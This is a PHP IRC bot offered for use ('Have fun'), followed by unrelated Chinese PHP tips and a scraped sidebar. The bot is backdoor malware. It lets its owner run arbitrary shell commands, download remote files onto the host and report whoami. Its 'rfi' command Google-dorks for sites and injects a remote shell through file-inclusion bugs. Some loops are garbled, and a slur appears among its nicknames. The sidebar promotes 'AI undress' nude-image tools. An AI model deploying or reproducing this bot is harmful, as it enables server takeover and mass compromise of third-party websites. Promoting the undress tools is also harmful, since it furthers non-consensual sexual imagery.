//Config//////////////////////////////////////////////////////////////////
$network = ""; // irc network address //
$port = 6667; // irc network port //
$channel = ""; // irc channel //
$channel_password = ""; // irc channel password //
$owner = ""; // owners nickname //
$owner_password = ""; // login password (MD5 Encoded) //
$trigger = "."; // bot trigger //
$max_results = 150; // maximum Google results //
//End config//////////////////////////////////////////////////////////////
@set_time_limit(0);
function randName(){
$nickparts = Array("gohan", "x4n4r", "c0la", "mari0", "johan", "rex", "r00tz", "smilee", "sm4ck", "nigr", "sTench");
$tmp = "";
for($i=0;$i$tmp = $nickparts[mt_rand(0, count($nickparts)-1)] . mt_rand(1000,9999);
}
return $tmp;
}
$sck = fsockopen($network, $port, $errno, $errstr) or die("Connection error: " . $errstr);
function send($msg, $to){
global $sck, $nick;
fputs($sck, "PRIVMSG " . $to . " " . $msg . "
");
}
function pong(){
global $sck;
$dat = @fgets($sck, 1024);
$d = explode(" ", $dat);
if($d[0] == "PING"){
fputs($sck, "PONG " . $d[1]);
}
$dat = "";
}
function get_exec_function(){
$exec_functions = array("popen", "exec", "shell_exec");
$disabled_funcs = ini_get(disable_functions);
foreach($exec_functions as $f) if(strpos($disabled_funcs, $f) === false) return $f;
}
function execute_command($exec_function, $command, $to){
if(!$exec_function){
send("No execution functions...", $to);
}
switch($exec_function){
case "popen": $h = popen($command, "r"); while(!feof($h)) send(fgets($h), $to); break;
case "exec": exec($command, $result); foreach($result as $r) send($r, $to); break;
case "shell_exec": send(shell_exec($command), $to); break;
}
}
function get($url, $out, $to){
if(!$o = fopen($out, "w"))
send("Unable to write file", $to);
else{
if(!$c = file_get_contents($url))
send("Unable to open remote file", $to);
else{
if(!fwrite($o, $c))
send("Unable to save file", $to);
else{
send("File saved", $to);
fclose($o);
}
}
}
}
function encodeDork($s){
$tmp = "";
for($i=0;$i
}
return urlencode($tmp);
}
function shellInject($url, $bug, $shell, $search){
$url = explode("/", $url);
$url = $url[2];
$url = (strpos($url, "www") !== false ? "http://" . $url : "http://www." . $url) . $bug . $shell . "??";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
$ret = curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($httpcode == 200){
if(strpos($ret, $search) !== false){
return $url;
}
}
return false;
}
function scan($dork, $bug, $shell, $search, $to){
global $max_results;
if(function_exists(curl_init)){
$ch = curl_init("http://www.google.com/search?q=" . encodeDork($dork) . "&start=0");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$ret = curl_exec($ch);
curl_close($ch);
preg_match_all("/of( about)* ([d,]+)/", $ret, $max);
$max = str_replace(",", "", $max[2][0]);
$max = $max > $max_results ? $max_results : $max;
$i = 0;
while($i $ch = curl_init("http://www.google.com/search?q=" . encodeDork($dork) . "&start=" . $i);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$ret = curl_exec($ch);
preg_match_all("/
.*?/", $ret, $links);
if(@$links[1]){
foreach($links[1] as $l){
$ret = shellInject($l, $bug, $shell, $search);
if($ret != false){
send("[+] Shell found: " . $ret, $to);
}
}
}
else{
send("No sites found", $to);
}
curl_close($ch);
$i = $max>10 ? $i+=10 : $i++;
send("$i scanned", $to);
pong();
}
}
else{
send("cURL is not enabled", $to);
}
}
$nick = randName();
sleep(1);
fputs($sck, "USER " . $nick . " ? * " . $nick . "@hotmail.com
");
sleep(1);
fputs($sck, "NICK " . $nick . "
");
$loggedin = false;
while(!feof($sck)){
$dat = fgets($sck, 4096);
$d = explode(" ", $dat);
preg_match_all("/:(.+)!(.+) PRIVMSG (.+) :$trigger(w+)s*(.+)*/", $dat, $cmd);
if($d[0] == "PING"){
fputs($sck, "PONG " . $d[1]);
}
if(strpos($dat, "HELP REGISTER") !== false){
fputs($sck, "JOIN " . $channel . " " . $channel_password . "
");
}
if(preg_match("/:(.+)!.+ PRIVMSG .+ :.VERSION(.)/", $dat, $v)){
fputs($sck, "NOTICE " . $v[1] . " " . $v[2] . "VERSION mIRC v6.3 Khaled Mardam-Bey" . $v[2] . "
");
}
if(@$cmd[4][0]){
$from = $cmd[1][0];
$from_host = $cmd[2][0];
$to = $cmd[3][0] == $nick ? $cmd[1][0] : $cmd[3][0];
$command = $cmd[4][0];
$args = $cmd[5][0];
if($from == $owner && $loggedin == true){
switch($command){
case "cmd": execute_command(get_exec_function(), $args, $to); break;
case "die": fputs($sck, "QUIT :Received die from " . $from); die();
case "get": $a = explode(" ", $args); get($a[0], $a[1], $to); break;
case "inf": send("Host: " . $_SERVER[HTTP_HOST] . "
Whoami: " . @exec(whoami), $to); break;
case "raw": fputs($sck, $args . "
"); break;
case "rfi": $a = explode(" ", $args);
if(count($a) > 3){send("Beginning RFI scan", $to); scan($a[0], $a[1], $a[2], $a[3], $to); send("RFI scan complete", $to);}
else send("Usage: (dork) (bug) (shell) (search)", $to);
break;
case "say": send($args, $to); break;
default: send("Unknown command.", $to);
}
}
elseif($from == $owner && $loggedin == false){
if($command == "login"){
if(md5($args) == $owner_password){
$loggedin = true;
send("User $from successfully logged in.", $to);
}
else{
send("Login failed.", $to);
}
}
}
}
$dat = "";
}
?>
credits flyZ to: Array("gohan", "x4n4r", "c0la", "mari0", "johan", "rex", "r00tz", "smilee", "sm4ck", "nigr", "sTench");
Have fun. =)

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

方法:1、用“str_replace(" ","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\ \;||\xc2\xa0)/","其他字符",$str)”语句。

php判断有没有小数点的方法:1、使用“strpos(数字字符串,'.')”语法,如果返回小数点在字符串中第一次出现的位置,则有小数点;2、使用“strrpos(数字字符串,'.')”语句,如果返回小数点在字符串中最后一次出现的位置,则有。

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。


熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

DVWA
Damn Vulnerable Web App (DVWA) 是一個PHP/MySQL的Web應用程序,非常容易受到攻擊。它的主要目標是成為安全專業人員在合法環境中測試自己的技能和工具的輔助工具,幫助Web開發人員更好地理解保護網路應用程式的過程,並幫助教師/學生在課堂環境中教授/學習Web應用程式安全性。 DVWA的目標是透過簡單直接的介面練習一些最常見的Web漏洞,難度各不相同。請注意,該軟體中

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

PhpStorm Mac 版本
最新(2018.2.1 )專業的PHP整合開發工具

Safe Exam Browser
Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

禪工作室 13.0.1
強大的PHP整合開發環境